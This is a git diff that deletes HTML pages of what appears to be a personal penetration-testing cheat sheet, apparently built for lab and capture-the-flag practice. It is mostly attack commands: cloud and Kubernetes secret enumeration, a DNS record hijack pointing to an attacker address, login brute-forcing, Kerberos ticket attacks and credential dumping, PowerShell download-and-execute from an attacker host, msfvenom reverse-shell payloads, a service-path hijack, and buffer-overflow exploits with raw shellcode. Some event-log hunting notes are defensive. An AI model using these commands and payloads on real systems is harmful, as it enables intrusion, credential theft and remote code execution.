diff --git a/build/enumeration/docs/aws.html b/build/enumeration/docs/aws.html deleted file mode 100644 index df4d407..0000000 --- a/build/enumeration/docs/aws.html +++ /dev/null @@ -1,299 +0,0 @@ - - -
--regionMethods of access control are as follows
- -Scheme is
-http://<bucketname>.s3.amazonaws.com/file.name
-or
-http://s3.amazonaws.com/BUCKETNAME/FILENAME.ext
-aws s3 ls s3://<bucketname>/ --no-sign-request
-curl, wget or s3 cli viaaws s3 cp s3://<bucketname>/foo_public.xml . --no-sign-request
-Anyone, just curlAuthenticatedUsers, s3 cli with aws keyAKIA + 20 charsSession token, ASIA + sessionToken
Add credentials to profile via
-aws configure --profile PROFILENAME
-~/.awsaws s3 ls --profile PROFILENAME
-aws sts get-access-key-info --access-key-id AKIAEXAMPLE
-aws sts get-caller-identity --profile PROFILENAME
-aws ec2 describe-instances --output text --profile PROFILENAME
-aws ec2 describe-instances --output text --profile PROFILENAME
-* In another region
-aws ec2 describe-instances --output text --region us-east-1 --profile PROFILENAME
-arn:aws:<service>:<region>:<account_id>:<resource_type>/<resource_name>
-aws secretsmanager help
-aws secretsmanager list-secrets
-ws secretsmanager get-secret-value --secret-id <Name> --region <region>
-dig @$TARGET_DNS $DOMAIN axfr
-drill @$TARGET_DNS $DOMAIN axfr
-nsupdate
-server <DNS-IP>
-update delete <sub.domain.com>
-update add <sub.domain.com> 1234 A $ATTACKER_IP
-send
-quit
-docker save -o image.tar <image-name>
-tar -xf image.tar
-printenvjq . manifest.json
-layer.tarffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt
-ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
-ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.txt
-ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fw 39
-ffuf -u 'http://MACHINE_IP/sqli-labs/Less-1/?FUZZ=1' -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -fw 39
-seq 0 255 | fuff -u 'http://<IP>/sqli-labs/Less-1/?id=FUZZ -c -w - -fw 33
-ffuf -u http://<IP>/sqli-labs/Less-11/ -c -w /usr/share/seclists/Passwords/Leaked-Databases/hak5.txt -X POST -d 'uname=Dummy&passwd=FUZZ&submit=Submit' -fs 1435 -H 'Content-Type: application/x-www-form-urlencoded'
-ffuf -w /usr/share/seclists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://<targetURL>/customers/signup -mr "username already exists" -o fuff.out
-fuff.out to bruteforceffuf -w userlist.txt:W1,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://<targetURL>/customers/login -fc 200
-ffuf -u http://FUZZ.test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
-or if the subdomains are listed in the target's host file
-ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.test.com" -u http://<target-IP> -fs 0
-ffuf -u http://FUZZ.test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
-ffuf -u http://test.com -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.test.com' -fs 0
--replay-proxy <IP> or -x <ProxyIP>gobuster dir -u <URL> -w <wordlist>
-gobuster dns -d <domainName> -w <wordlist> --show-cname --show-ips --resolver <dns-Server>
-seclists/Discovery/DNS/subdomains-top1million-5000.txtgobuster vhost -u <URL> -w <wordlist>
--x
-gobuster dir -u <URL> -w /usr/share/seclists/Discovery/raft-small-word-lowercase.txt -x .conf,.js
-gobuster help dir
---username and --password
dir -s Accept HTTP Status
dir -k Skip TLS Authdir -a User Agent/usr/share/seclists/Discovery/Web-Content/common.txt
-/usr/share/seclists/Discovery/Web-Content/big.txt
-/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
-/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
-/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
-kerbrute userenum -d $DOMAIN --dc $TARGET_IP $USER_LIST
-GetNPUsers.py to get Hashes of userlistGetNPUsers.py -no-pass <DomainName>/ -usersfile users.txt -format john -outputfile hashes
-GetUserSPNs.py -request <DOMAIN>/<USER>:<PASSWORD> -dc-ip $TARGET_IP
-or
-pyverview get-netuser -u <USER> -p <PASSWORD> -t <SUBDOMAIN> -d <DOMAIN>
-findDelegation.py -debug <DOMAIN>/<USER>:<PASSWORD> -dc-ip $TARGET_IP
-GetNPUsers.pycrackmapexec smb $TARGET_IP -u users.txt -p pass.txt
-* Watch out for `STATUS_PASSWORD_MUST_CHANGE`
-* Change password with
-smbpasswd.py <user>@$TARGET_IP -newpass password123
-getST.py -spn <USER>/<SUBDOMAIN> -impersonate Administrator '<DOMAIN>/<USER>:<PASSWORD>' -dc-ip $TARGET_IP
-Administrator.ccacheexport KRB5CCNAME=Administrator.ccachesecretsdump.py -k -no-pass <DOMAIN>
--A for all namespaceskubectl get pods -A
-kubectl auth can-i --list
-kubectl get secrets
-kubectl get nodes
-kubectl get deployments
-kubectl get services
-kubectl get ingress
-kubectl get jobs
-kubectl describe secrets <secret>
-kubectl get secret <secret> -o json
-kubectl describe secrets <secret> -o 'json'
-/var/run/secrets/kubernetes.io/serviceaccount/token kubectl auth can-i --list --token=$TOKEN
-kubectl get pods --token=$TOKEN
-kubectl exec -it <pod name> --token=$TOKEN -- /bin/sh
-TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
-curl -k -H "Authorization: Bearer $TOKEN" --data "cmd=id" https://$K8_IP:10250/run/$NAMESPACE/$POD/$CONTAINER
-* Find namespace and pods
-kubectl get pods -A
-* Find name of container inside the pod description under `ContainerStatuses/name`
-kubectl get pod $POD -n $NAMESPACE -o yaml
-/run/secrets/kubernetes.io/serviceaccount/token
-/run/secrets/kubernetes.io/serviceaccount/ca.crt
-kubectl auth can-i --list
-imagePullPolicy: IfNotPresent to the YAML filekubectl apply -f pod.yml --token=$TOKEN
-kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- /bin/bash
-kubectl exec -it <podname> -n <namespace> -- /bin/bash
-ldapsearch -H ldap://$TARGET_IP -x -s base namingcontexts
-ldapsearch -H ldap://$TARGET_IP -x -b 'DC=<DC>,DC=<ORG>
-ldapsearch -H ldap://$TARGET_IP -x -b 'DC=<DC>,DC=<ORG>' -D '<DC>\<user>' -W > outfile
-ldapdomaindump $TARGET_IP -u '<domain>\<user>' -p '<password>' --no-json --no-grep
-less ~/.bash_history
-cat /etc/*-release
-cat /proc/version
-uname -a
-sudo -V
-sudo -L
-vim /etc/passwd
-vim /etc/hosts
-crontab -l
-find / -perm /6000 2>/dev/null
-find / -perm -u=s -type f 2>/dev/null
-find / -type f -name "*.log" 2>/dev/null
-find / -type f -name "*.bak" 2>/dev/null
-find / -type f -name "*.conf" 2>/dev/null
-lsof -i
-netstat -natup
-ss -natup
-microk8s kubectl get nodes
-microk8s kubectl get services
-microk8s kubectl get pods
-microk8s kubectl get deployments -o wide
-microk8s kubectl cluster-info
-rpcinfo -p $TARGET_IPshowmount -e $TARGET_IPScan web server vulnerabilities and more.
-nmap -p80 172.16.0.0/24 -oG - | nikto -h -
-nmap -oG -Pn -p-10000 10.10.214.141 | nikto -h 10.10.214.141 -p -
-nikto -h http://example.com i -p 80,8080
-nikto -id <user>:<password> -h http://example.com:1234/manager/html
-nikto -h http://example.com -Plugins apacheusers
-nikto -list-plugins
-nmap -oA nmap-full -Pn -sS -T4 -p- --defeat-rst-ratelimit <IP>
-nmap -oA nmap-vuln -Pn -script vuln -p <Port,Port,Port,...> <IP>
-sudo nmap -oA --nmap-full -sS -sC -sV -p- --defeat-rst-ratelimit <target-IP>
-searchsploit --nmap ./nmap-full.xml --verbose
-nmap --script http-wordpress-enum --scripts-args check-latest=true,search-limit=1500 -p 80 test.com
-nmap -iL <ListofHosts>
-nmap -sL -n 10.10.0.0/16
-nmap -PR -sn 192.168.0.0/24
-nmap -PE -sn 10.10.0.0/16
-nmap -PP -sn 10.10.0.0/16
-nmap -PM -sn 10.10.0.0/16
--PS23 Syn on port 23-PA80-8080 ACK on port range 80-8080-sN, port is open when there is no response. Otherwise the response is RST/ACK-sF , same procedure as null scan.-sX, FIN/PSH/URG is sent. RST/ACK when port is closed.-sM, sends FIN/ACK. Packet is dropped when port is open. Only viable on old BSD networks.-sA, sends ACK. Receives RST regardless of the state of the port. May be used to explore firewall rules.-sW, sends ACK, and receives RST as well. Inspects the window part of the response. Used to expose firewall rules.--scanflags RSTACKFIN, set flags randomly.-PU -n-R -sn-S <spoofed-IP>--spoof-mac <spoofed-MAC>-Pn-D <decoy-IP>,<decoy-IP>,<decoy-IP>,RND,RND,ME-sV--version-intensity <level 0-9>--version-light--version-allInstalled at /usr/share/nmap/scripts
-* auth Authentication related scripts
-* broadcast Discover hosts by sending broadcast messages
-* brute Performs brute-force password auditing against logins
-* default Default scripts, same as -sC
-* discovery Retrieve accessible information, such as database tables and DNS names
-* dos Detects servers vulnerable to Denial of Service (DoS)
-* exploit Attempts to exploit various vulnerable services
-* external Checks using a third-party service, such as Geoplugin and Virustotal
-* fuzzer Launch fuzzing attacks
-* intrusive Intrusive scripts such as brute-force attacks and exploitation
-* malware Scans for backdoors
-* safe Safe scripts that wonโt crash the target
-* version Retrieve service versions
-* vuln Checks for vulnerabilities or exploit vulnerable services
-F--top-ports 100 -T0RST/ACK to a initial SYN-r, not random--min-rate and --max-rate--min-parallelism and --max-parallelism-f 8 bytes, -ff 16 bytes or --mtu-sI <pwnd-device-IP> via pwnd host inside the targets network--reason, -d, -vv--tracerouteknockd knock <target-IP> <magicWords>
-or
-* arch wiki nmap script
-* nc -z
rpcclient -U% $TARGET_IP
-enumdomusers
-enumdomains
-enumprivs
-rsync <target-IP>::
-rsync <target-IP>::files
-rsync <target-IP>::files/foo/
-nc -vn $TARGET_IP 873
-@RSYNCD: 31.0
-#list
-rsync <user>@<target-IP>::/files/foo/bar.txt .
-rsync -r <user>@<target-IP>::/files/foo .
-rsync authorized_keys <user>@<target-IP>::/files/foo/.ssh/
-rsync -r documents <user>@<target-IP>::/files/foo/
-Config at $HOME/.rustscan_scripts.toml
rustscan -r ports -a <Target-ip> -- <nmap cmds>
-rustscan -a 127.0.0.1 -- -A -sC
-asn:AS13335
-{
- "data": "Moxa Nport Device",
- "Status": "Authentication disabled",
- "Name": "NP5232I_4728",
- "MAC": "00:90:e8:47:10:2d",
- "ip_str": "46.252.132.235",
- "port": 4800,
- "org": "Starhub Mobile",
- "location": {
- "country_code": "SG"
- }
- }
-vuln:ms17-010
-onesixtyone $TARGET_IP -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt
-snmpwalk -v2c -c <community_string> $TARGET_IP 1.3.6.1.4.1.77.1.2.25
-robots.txtcurl target and md5sumsitemap.xmlcurl <site> including -I or -v parameterswfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt -X POST --hh 45 -u http://<target-IP>/api/items\?FUZZ\=test
-wpscan --url <URL> --enumerate t
-ls for contentwpscan --url <URL> --enumerate p
-wpscan --url <URL> --enumerate u
-wpscan --url <URL> --enumerate vp
-wpscan --url <URL> --passwords <wordlist> --usernames <usersFromEnumeration>
-```sh
-wpscan --url
|ID|Event Type|Description| -|--|----------|-----------| -|0|Error|An event that indicates a significant problem.| -|1|Warning|An event that is not necessarily significant.| -|2|Information|An event describing the successful operation of an application.| -|3|Success Audit|An event that records an audited security access attempt that is successful.| -|4|Failure Audit|An event that records an audited security access attempt that is failure.|
-C:\Windows\System32\winevt\Logs
-Microsoft > Windows > PowerShell > Operational and right click Properties in Event Viewer. Logs can be cleared as well in properties.wevtutil.exe /?
-wevtutil.exe le | measure
-wevtutil qe Application /c:3 /rd:true /f:text
-Get-WinEvent -ListLog *
- Get-WinEvent -Path .\merged.evtx | Where-Object { $_.Message -like '*log clear*' }
-Get-WinEvent -LogName Application | Where-Object { $_.ProviderName -Match 'WLMS' }
-Get-WinEvent -ListProvider *Policy*
-(Get-WinEvent -ListProvider Microsoft-Windows-GroupPolicy).Events | Format-Table Id, Description
-Get-WinEvent -FilterHashtable @{ LogName='Application'; ProviderName='MsiInstaller' };
-Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Select-Object -Property Message | Select-String -Pattern 'SecureString'
-Get-WinEvent -LogName Application -FilterXPath '*/System/EventID=101 and */System/Provider[@Name="WLMS"]'
-Get-WinEvent -LogName Security -FilterXPath '*/EventData/Data[@Name="TargetUserName"]="System"'
- Get-WinEvent -LogName Application -FilterXPath '*/System/Provider[@Name="WLMS"] and */System/TimeCreated[@SystemTime="2020-12-15T01:09:08.940277500Z"]' -MaxEvents 1
-Get-WinEvent -LogName Security -FilterXPath '*/System/EventID=4720 and */EventData/Data[@Name="TargetUserName"]="sam"'
-Local Computer Policy > Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell
-Local Computer Policy > Computer Configuration > Administrative Templates > System > Audit Process Creation
-systeminfo
-wmic qfe get Caption,Description
-whoami /privwhoami /groupswhoami /allnet user
net group
net localgroup <groupname>net accountsnet accounts /domainipconfig
-ipconfig /all
-netstat -noba
-arp -a
-net share
-net start
-wmic service get name,version,vendor
-wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
-* **Unquoted Service Path** Ideally there is a path without quotation
-* Check which account the service the services run as
-
-```sh
-sc qc <ServiceName>
-```
-powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"
-Get-Help Command-Name
-Get-Help Command-Name -Examples
-Get-Command
-Get-Command Verb-*
-Get-Command Invoke-*
-Get-Command Get-*
-Verb-Noun | Get-Member
-Get-Command | Get-Member -MemberType Method
-Get-ChildItem | Select-Object -Property Mode, Name
-Verb-Noun | Where-Object -Property PropertyName -operator Value
-Verb-Noun | Where-Object {$_.PropertyName -operator Value}
-The second version uses the $_ operator to iterate through every object passed to the Where-Object cmdlet. -* Where -operator is a list of the following operators:
-Verb-Noun | Sort-Object
-Get-ChildItem | Sort-Object
-Get-ChildItem -Path C:\ -Recurse -Include *.txt -ErrorAction SilentlyContinue | Where-Object {$_.Name -match 'interesting-file'}
-Get-HotFix | Format-list | findstr <searchstring>
-Get-ChildItem -Hidden -Recurse -ErrorAction SilentlyContinue
-Get-ChildItem -Path C:\ -Recurse -Include *.bak* -ErroAction SilentlyContinue
-Get-ChildItem -Path C:\* -Recurse | Select-String -pattern API_KEY
-Get-Content 'C:\Program Files\interesting-file.txt'
-(Get-Content -Path file.txt)[index]
-Select-String <filename> -Pattern <pattern>
-Copy-Item <sourcefile> <destfile>
-As an example, count all cmdlets on the system
-Get-Command | Where-Object CommandType -eq CmdLet | Measure-Object
-Get-Command | Where-Object CommandType -eq CmdLet | Measure-Object -Word
-Get-FileHash -Algorithm MD5 'C:\Program Files\interesting-file.txt'
-Get-Location
-ls | Format-List *
-Invoke-Webrequest -Uri 'http://<attacker-ip> -OutFile <filename>
-(New-Object System.Net.WebClient).DownloadFile("http://example.com/meterpreter.ps1", 'meterpreter.ps1')
-powershell -exec bypass -c "IEX(New-Object Net.WebClient).downloadString('http://%ATTACKER_IP%/PowerView.ps1'); Get-NetUser | select samaccountname, description"
-[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Get-Content .\Desktop\b64.txt)))
-powershell -ExecutionPolicy Bypass -File .\<file>
-Set-ExecutionPolicy Bypass -Scope Process
-Get-LocalUser
-Get-LocalUser | Where-Object -Property PasswordRequired -Match false
-Get-WmiObject win32_useraccount | Select name, sid
-netstat -ano
-Get-NetIpAddress
-Get-NetTCPConnection | Where-Object -Property State -Match Listen | measure
-Get-NetTCPConnection | Where-Object -Property LocalPort -Match 443
-Get-Hotfix
-Get-Hotfix | Where-Object -Property HotFixID -Match KB124284
-wmic qfe get Caption,Description,HotFixID,InstalledOn
-driverquery
-Start-Process <process>
-Get-Process <process>
-schtasks /query /fo LIST /v
-Get-ScheduledTaskInfo
-Get-ScheduledTask | Where-Object -Property TaskName -Match taskname
-or
-Get-ScheduledTask -TaskName taskname
-Get-Item -Path file.exe -Stream *
-wmic process call create $(Resolve-Path file.exe:streamname)
-Get-Process <process> | Export-Csv <output.csv>
-Get-ACL C:\
-for($i=1; $i -le 65536; $i++) { Test-NetConnection localhost -Port $i}
-1..15 | %{echo "10.0.2.$_"; ping -n 1 10.0.2$_ | Select-String ttl}
-sc query windefend
-sc queryex type=service
-Import-Module .\powerview.ps1
-Get-NetDomainController
-(Get-NetUser).name
-Get-NetUser -properties description
-Get-NetUser | select -ExpandProperty lastlogon
-Get-NetComputer -ping
-Get-NetGroupMember "Domain Admins"
-Find-DomainShare -CheckShareAccess
-Get-NetGPO
-Get-NetDomainTrust
-Find-LocalAdminAccess
-whoami /priv
-Import-Module ActiveDirectory
-Get-ADGroup
-Get-ADGroupMember
-Get-ADPrincipalGroupMembership
-rpcclient <domain> <users>
-rpcclient $> enumdomusers
-...
-rpcclient $> enumdomgroups
-sysdm.cpl
-get-service webclient
-start-service webclient
-control.exe /name Microsoft.NetworkAndSharingCenter
-Install-WindowsFeature WebDAV-Redirector โRestart
-Get-WindowsFeature WebDAV-Redirector | Format-Table โAutosize
-Sigcheck is a command-line utility that shows file version number, timestamp information, and digital signature details, including certificate chains. It also includes an option to check a fileโs status on VirusTotal, a site that performs automated file scanning against over 40 antivirus engines, and an option to upload a file for scanning.
-C:\Windows\system32sigcheck -u -e C:\Windows\System32
--u "If VirusTotal check is enabled, show files that are unknown by VirusTotal or have non-zero detection, otherwise show only unsigned files."-e "Scan executable images only (regardless of their extension)"By default, all data is stored in a file's main unnamed data stream, but by using the syntax 'file:stream', you are able to read and write to alternates. (official definition)
-streams file.txt
-
-notepad file.txt:<datastream_name>
-or
-Get-Content -Path .\file.txt -stream ads.txt
-SDelete is a command line utility that takes a number of options. In any given use, it allows you to delete one or more files and/or directories, or to cleanse the free space on a logical disk.
-TCPView provides a more informative and conveniently presented subset of the Netstat program that ships with Windows. The TCPView download includes Tcpvcon, a command-line version with the same functionality.
-tcpview
-tcpvcon
-Autoruns reports Explorer shell extensions, toolbars, browser helper objects, Winlogon notifications, auto-start services, and much more.
-ProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike.
-The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded.
-Process Monitor is an advanced monitoring tool for Windows that shows real-time file system, Registry and process/thread activity.
-PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems
-WinObj is a 32-bit Windows NT program that uses the native Windows NT API (provided by NTDLL.DLL) to access and display information on the NT Object Manager's name space.
-It automatically displays relevant information about a Windows computer on the desktop's background, such as the computer name, IP address, service pack version, and more
-This little command-line applet takes a registry path and makes Regedit open to that path. It accepts root keys in standard (e.g. HKEY_LOCAL_MACHINE) and abbreviated form (e.g. HKLM).
-regjump HKLM
-reg query HKLM
-Get-Item
-Get-ItemProperty
-Strings just scans the file you pass it for UNICODE (or ASCII) strings of a default length of 3 or more UNICODE (or ASCII) characters.
-accesschk.exe /accepteula -uwcqv user <serviceName>
-sq qc <service>
-sc config daclsvc binpath= "\"C:\shell.exe""
-net start daclsvc
-\\live.sysinternals.com\tools
-Sysmon gathers detailed and high-quality logs as well as event tracing that assists in identifying anomalies in your environment. Sysmon is most commonly used in conjunction with security information and event management (SIEM) system or other log parsing solutions that aggregate, filter, and visualize events.
-Applications and Services Logs/Microsoft/Windows/Sysmon/Operational
-Downloads-SysInternalsTools C:\Sysinternals
-Get-WinEvent
-wevutil.exe
-Get-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name="DestinationPort"] and */EventData/Data=4444'
-Get-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=10 and */EventData/Data[@Name="TargetImage"] and */EventData/Data="C:\Windows\system32\lsass.exe"'
-Get-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name="DestinationPort"] and */EventData/Data=<Port>'
-Get-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=15'
-Get-WinEvent -Path <Path to Log> -FilterXPath '*/System/EventID=8'
-vssadmin list volumes
-vssadmin list shadows
-Each page table entries has the following flag values
-Flags are checked by the MMU
-Pipelined steps of an instruction are the following
-A pipeline can execute one of each steps concurrently every clock cycle.
-Speculative execution is the reordering of instructions to speed up execution inside the pipeline.
-Kernel Page Table Isolation can be used to mitigate meltdown.
-0, No randomization1, Conservative, *.so, stack, mmap, VDSO and heap 2, full randomizationecho 0 | sudo tee /proc/sys/kernel/randomize_va_space
-rax return value, caller saved.rbx base register (used for mem basepointer)rcx counter registerr10, r11 are caller saved.rbx, r12, r13, r14 are callee saved rdx data registerrbp is also callee saved(and can be optionally used as a frame pointer)rsp is callee savedrip next instruction pointerrdi,rsi,rdx,rcx,r8,r9, called saved.int main ( int argc, char ** argv ) {
- int var = 0
- char buffer[12];
-
- gets(buffer);
- [...]
-}
-Bottom
-+------------------+
-| Saved registers |
-+------------------+
-| int var |
-+------------------+
-| char buffer [11] |
-| ... |
-| ... |
-| ... |
-| char buffer [0] |
-+------------------+
-| char ** argv |
-+------------------+
-| char argc |
-+------------------+
-Top
-+-------------+----+
-|12 byte array| 4b |
-+-------------+----+
-0 12 16 byte
-; starts a commentMOV, from source to destinationLEA, loads memory address and stores it in the destination. Address can have an offset. Does not dereference [var] or [var+x]PUSH & POP, put & delete registers to/from stack.INC, incrementDEC, decrementADDSUB, substracts source from dest and stores in destMUL & IMUL, result may be stored in upper and lower halfs (rdx:rax)DIV & IDIV, rax is divided by rbx and may be stored in two halfs as wellRET, return value to the callerCMP, compare two values and sets flag. Next instruction is a jump condition to a line number. Works as followsJE, JEZ, JLE ... followed by linenumberNOP, \x90CALL a function[var], memory address of var.mov [var], 42 var points to the value 42. [ dereference.eax will result in zeroing the upper 32 bit of an rax register, move to ax, ah, al will not.MOVZX zeros anything but the value moved to the register inside of it.For signed value comparison
-JL/JNGE (SF <> OF) ; Jump if less/not greater or equalJGE/JNL (SF = OF) ; Jump if greater or equal/not lessJLE/JNG (ZF = 1 or SF <> OF); Jump if less or equal/not greaterJG/JNLE (ZF = 0 and SF = OF); Jump if greater/not less or equalFor unsigned value comparison
-JB/JNAE (CF = 1) ; Jump if below/not above or equalJAE/JNB (CF = 0) ; Jump if above or equal/not belowJBE/JNA (CF = 1 or ZF = 1) ; Jump if below or equal/not aboveJA/JNBE (CF = 0 and ZF = 0); Jump if above/not below or equaleflags 32bitrflags 64bitrax or xmm0$rsp to $rsp+0x18rax, rcx, r8, r9, r10, r11, xmm0, xmm1, xmm2, xmm3, xmm4, xmm5. These are destroyed after function call.rbx, rbp, rdi, rsi, rsp, r12, r13, r14, r15, xmm6-15 ares saved and restored after function call.python -c "print('A' * 3000)
-python 3 -../fuzzer.py
-python 2 -../fuzzer2.py
-/opt/metasploit/tools/exploit/pattern_create.rb -l <bufferlength>
-/opt/metasploit/tools/exploit/pattern_offset.rb -l <bufferlength> -q <EIP-content>
-msf-pattern_offset -l <bufferlength> -q <EIP>
-mona msfpattern -l <bufferlength>
-Fill offset variable in exploit buffer_overflow.py
-../buffer_overflow.py
Execute buffer_overflow.py, EIP should contain BBBB
Execute bad_chars.py and include it as payload. Always excluded is \x00.
-../bad_chars.py
Compare stack if any bad chars block exectuion of the payload following in the next steps.
-!mona bytearray -b "\x00"
-!mona compare -f <path_to_bytearray.bin> -a <ESP>
-ESP (32 bit binary) needs to be found to put it inside EIP!mona modules
-!mona jmp -r esp -m <exploitable_bin_from_modules>
-buffer_overflow.pymsfvenom -p windows/shell_reverse_tcp LHOST=<attacker-ip> LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b "\x00"
-msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker-ip LPORT=<attacker-port> -f c -e x86/shikata_ga_nai -b "\x00"
-cylic buffer + eip content is esp + half of the stack + NOPsled + shellcodeeip content address pointing into the sled needs to be fuzzed hardshellcraft i386.linux.execve "/bin///sh" "['sh', '-p']" -f s
-eip offset via
- sh
- cyclic <number>sh
-cyclic -l <eipContent>from pwn import *
-
-padding(cyclic(cyclic_find(<eipContent>))
-eip = p32(<esp> + some offset into stack)
-sled = 90 * 100
-shellcode = "jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3jph\x01\x01\x01\x01\x814\x24ri\x01,1\xc9Qj\x07Y\x01\xe1Qj\x08Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"
-payload = padding + eip + sled + shellcode
-p = process(<binary>)
-elf = ELF(<binary>)
-__function = elf.symbol.<functionName>
-payload = fit({
- 42: __function # Length measured via cyclic
-})
-p.sendline()
-proc.interactive()
-Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address
-Plus NOPsled (sometimes xargs is needed in front of the app call)
-python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+ '\x41' * 60 + '\xef\xbe\xad\xde')" | xargs ./buffer-overflow
-gdb ./application
-run $(python -c "print('\x41' * 180)")
-Program received signal SIGSEGV, Segmentation fault.
-0x0000414141414141 in copy_arg ()
-$rbp + 6 bytes return address)/opt/metasploit/tools/exploit/pattern_create.rb -l 180
-rbp Content in front of the return address to measure offset(gdb) i r
-[...]
-rbp 0x<rbpAddress> 0x<rbpConent>
-[...]
-pt/metasploit/tools/exploit/pattern_offset -l 180 -q <rbpContent>
-run $(python -c "print('A' * 100 + <shellcode> + 'A' * 12 + 'B' * 6)")
-(gdb) x/100x $rsp-200
-0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
-0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
-0x7fffffffe248: 0xffffe64d 0x00007fff 0x41414141 0x41414141
-0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
-0x7fffffffe268: 0x41414141 0x41414141 0x41414141 0x41414141
-0x7fffffffe278: 0x41414141 0x41414141 0x41414141 0x41414141
-0x7fffffffe288: 0x41414141 0x41414141 0x41414141 0x41414141
-0x7fffffffe298: 0x41414141 0x41414141 0x41414141 0x41414141
-0x7fffffffe2a8: 0x41414141 0x41414141 0x41414141 0x48583b6a
-0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
-[...]
-0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4.A and pick an address inside as the future return address, for example 0x7fffffffe2a8.(gdb) x/100x $rsp-200
-0x7fffffffe228: 0x00400450 0x00000000 0xffffe3e0 0x00007fff
-0x7fffffffe238: 0x00400561 0x00000000 0xf7dce8c0 0x00007fff
-0x7fffffffe248: 0xffffe64d 0x00007fff 0x90909090 0x90909090
-0x7fffffffe258: 0x90909090 0x90909090 0x90909090 0x90909090
-0x7fffffffe268: 0x90909090 0x90909090 0x90909090 0x90909090
-0x7fffffffe278: 0x90909090 0x90909090 0x90909090 0x90909090
-0x7fffffffe288: 0x90909090 0x90909090 0x90909090 0x90909090
-0x7fffffffe298: 0x90909090 0x90909090 0x90909090 0x90909090
-0x7fffffffe2a8: 0x90909090 0x90909090 0x90909090 0x48583b6a
-0x7fffffffe2b8: 0xb849d231 0x69622f2f 0x68732f6e 0x08e8c149
-0x7fffffffe2a8 -> \xa8\xe2\xff\xff\xff\x7f and put it inside the return addressrun $(python -c "print('\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\xa8\xe2\xff\xff\xff\x7f')")
-setuid(0) for effective root uid or the equivalent id of the account needed./bin/sh checks real uid not effective uidsetreuid(1002,1002) sets the real uid inside the shell to 1002.setreuid() has rax number \x71 (113 dec). Args are stored in rdi and rsi."\x48\x31\xFF\x48\x31\xC0\x48\x31\xF6\x66\xBE\xEA\x03\x66\xBF\xEA\x03\xB0\x71\x0F\x05\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"
-setreuid(), without any parameter given the real uid to the file owner.* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
-shellcraft -f d amd64.linux.setreuid
-shellcraft -f d amd64.linux.setreuid <uid>
